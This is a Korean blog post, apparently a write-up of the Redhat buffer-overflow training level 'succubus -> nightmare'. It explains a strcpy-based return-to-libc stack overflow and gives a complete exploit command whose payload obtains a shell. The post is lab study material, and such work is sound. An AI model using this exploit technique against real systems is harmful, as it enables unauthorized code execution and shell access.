BOF redhat 원정대 succubus -> nightmare
nightmare, nightmare.c
코드를 보면 RET부분에 strcpy의 주소가 들어가야하고 strcpy함수가 끝나고 RET할 주소인 다음 4바이트를 AAAA로 덮어버려 strcpy 다음에 RTL을 방지하고 있다.
이 문제는 strcpy의 argv를 맞춰주어 AAAA로 덮여진 strcpy함수가 끝나고 RET할 주소를 바꿀 수 있다.
메모리 주소를 확인하기 위해서 임의의 입력값을 넣어보자.
r `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAABBBBCCCCDDDD"'`
코드를 보면 argv를 버퍼로 복사하는 하드코딩된 strcpy가 있다. 이 함수를 거쳐 ret코드 이전에 브레이크를 잡아 메모리를 확인하였다. strcpy가 실행되어 버퍼에 입력값이 들어가 있는 것을 볼 수 있다.
[ 버퍼][ SFP ][RET]
[A*44][strcpy_addr][AAAA][BBBB][CCCC][DDDD]
AAAA를 원하는 주소로 덮기 위해서 strcpy를 사용한다. 인자는 BBBB와 CCCC에 넣어 strcpy함수를 실행한다.
나는 A*44부분에 system함수로의 RTL코드를 넣고 현재 AAAA가 있는 RET부분을 버퍼의 시작주소(system RTL)로 덮을 것이다.
strcpy함수의 콜 이전의 스택의 모양은
[strcpy_addr][AAAA][dst_addr][src_addr]
게 된다.
공격페이로드를 작성하여 공격을 해보면
공격에 성공하여 쉘을 얻을 수 있다.
쉘코드 :
./nightmare `python -c 'print "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\x90"*32 + "\x10\x84\x04\x08" + "AAAA" + "\xd0\xf0\xff\xbf" + "\xa0\xf0\xff\xbf"'`
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
$(HOME)/.gdbinit을 생성하면 gdb가 실행될 때 .gdbinit을 불러옴으로 스크립트를 적용시킬 수 있다. ARM 어셈을 처음다루어 라인바이라인으로 분석해 보기위해 몇 가지 스크립트를 작성하였다. .gdbinit ...
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
진법 변환과 데이터의 표현 - 2 진수 (binary digit) – 숫자 0 과 1 만으로 모든 수를 나타내는 방법 10 진법 2 진법 기호 0 0 ...
-
UBUNUT SSH 서버에 접속 시도를 하면 로그인이 성공하기 전에 뜨는 배너와 로그인이 성공한 후에 뜨는 메세지가 있다. id, pw를 입력하기 전에 뜨는 배너는 디폴트 값으로 /etc/issue.net 을 읽어온다. issue.net 안...
0 개의 댓글:
댓글 쓰기